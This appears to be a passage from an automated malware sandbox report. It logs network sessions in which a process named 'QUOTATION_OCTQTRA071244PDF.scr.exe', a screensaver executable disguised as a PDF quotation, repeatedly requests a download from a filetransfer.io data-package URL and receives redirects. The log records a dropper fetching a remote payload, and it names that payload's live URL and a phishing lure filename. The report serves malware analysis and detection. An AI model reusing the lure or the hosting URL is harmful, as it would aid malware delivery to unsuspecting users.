Oct 4, 2024 11:25:14.229954004 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:14.427129030 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iS4CAlwd9OhqWYGWVqrYMlxhGKoFAuvY%2FfJgO3hfA0YFmh1wSkWVbxfExZZdbOXpMhlPM%2Ba0R6VaypUgcEvwFbVMyjU1Tepv0Jq7Jfe9MeJ%2FvXBr2rSEs0zG4U6IJfpvbVM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f9c396b7286-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:25:14.434685946 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:14.839042902 CEST	827	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6B2POO2kpZ68cQ2oKmt3AFocsSsixtBXzfeNgNU6cHEzDbgtbHsue%2Bf0l3xupjwfj9hWwlK8gNswZAHmWIxzpSa1Kt0X78tJl9HxlYj6curvcsQPZ1B5FbyP1qK9D792Uek%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f9d8a377286-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:25:14.839750051 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:15.035130024 CEST	829	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6HOoLBejedG6nR05NOYXCcADol8dJqi3Vtr5Xo9ZVJLacJyJq4t018RZ1K5lyGyRgoRoL61%2FKwEZEQtuQpI2KpUa3oqYNgZptUk9p49Qq3ZLUYYYz4lgytL9nz%2FFgJnRnYE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41fa00b957286-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:25:15.040843964 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:15.335093021 CEST	827	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4mNcUXpTzsiUNohCzOOZ4lK%2FaAVixeZdmy3MJugUyoXU6E7G3QQTldEfgDaK54YThuTjb8V2YPFUqXqklOwcxH07ma9gqHSWPIKyl3txWXp0hdwigeu9eA0cribYJ7SCKrU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41fa15c597286-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:25:15.337129116 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:15.535675049 CEST	839	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7R9JF8HQmw75fZxdKMKRg47Qc%2F6V4%2BOuGz6AmnnYzk7T5E9vVBTY0YDs%2FMT4EULKKqya3w%2Fc8FW1RV28PmAaycbUb5xLgAEG7NxK%2FUdOj%2Bzwbx%2FJo1mGcqxoob5Qh7qJ0nk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41fa32d2e7286-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:25:15.536422968 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:15.734018087 CEST	825	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VMjnORLmdVpnBMuPlV3mtnuHMb9IeTEYskoHQEjRzWdYecgcpcjaGSy50mKNdFRf4ajXNVghdnaWX3WPmJbRVumm4iasPH8stcs3nf2o1oICAPyGIN621kdqtWlSXOfWZz0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41fa46ddb7286-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:25:15.737337112 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:16.051019907 CEST	861	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KQ1XptsLYrtl7NBkJYPXlU24sp5iXmT9NWuHZa%2FR9ydMGh8g9Jyjpl3BL6VPnmVcbNcE1blcilfvhJf7HbHHehLU9iC%2Fnbi86FSmArheWtaFoVaNq%2Bbfbiw0tlefDcCBAfo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41fa5aeb17286-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:25:16.051799059 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:16.251332045 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iqSkC8legqgdTVzaJCYom8rlzKoOzO%2Bh7pNOf7bDyCb8l1nNWkBtUDU95433U%2BZvZw3j9MXZLXtAzUOb90XwkDn1imNZiwevTRoWPWnS6RKngKNMZIuhBp%2FKVpn5HfX2wwU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41fa79fd67286-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:25:16.256283998 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:16.546061039 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E4DW73y4vQJVj2bCCPnD7EZgd88Ozkt9j8spXICqimFHQAHLqeRSFzHUoRdJvl9HfGSHepUsSI%2FUV7Py15N80mwzu2V9TRANTN2N8bZhPZkznzExRe2yUrzRI49na%2FH%2Bcwg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41fa8e8b97286-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	50214	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:25:16.554689884 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:17.101525068 CEST	829	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1K6eF3A5sO3q8Sv8HdTH4rRuk81RbBRzP8y%2BlEcST1Lhun6RKSWejJ2t939iOSLAQSBSmItlkP2YpaRQZQ4jU9WicnK9AZDG0ImtvlF9ytrW%2BEp0vezZCLVH9dFCAHoVXWA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41facfcdc432b-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	50215	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:25:17.108314991 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:25:17.676805019 CEST	829	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1psLNHvnCKWT7nGG4gKb4byXhlVyBmAf58TMm2%2BgW0BZ3WG8cEpA5U6OOsJSEwb0kjMbp%2BcmHRSwZ5dqWTsQhNyLPJiY1O1lWHmrtT5AeSahUVW2KhL8bIwp3T2NPJEATYU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41fb07ea542da-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	50218	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:25:21.063138962 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:21.717523098 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LvJktBndWzXlqKOaLOVKIPv55%2F4SQupA13M1pk6r1Z6njAWvkP4D6IzGuCm18OIEjogNPF4AhZ58EwHIilbNKa8MyIYk3MRS72eSu%2B%2Bvp027DoN53fgRm3UkIHcS2ZhQkC0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41fc92c685e62-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	50220	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:25:21.726028919 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:25:22.375241041 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nN7ZNDUnUu0jAEXPhk%2FQL2XqWmld%2FH%2FKgEJuOAfKcrAIN6YiKvATu4vAFrRrlRYI6%2FerofyqvJYXOvKGGglMy1g7caDKlunyXmtt0tmQtQvNSBqEHTEGyTduiTdj8kIgF1w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41fcd4b2143a1-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	50223	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:25:25.967922926 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:26.617711067 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WCHTcD%2Bqraj2tLpDvVA3yzpIwn1r9abvLGItplfOznW1z%2BNxgz1hTEwUjld3DpJU7t7dUE5y%2FTrEhZQK06g%2BGV1OBU2RoInpILUw0XMsbKRAIcaGMFVpKVvxfEieLumnYYo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41fe7dd2341e9-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	50224	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:25:26.625068903 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
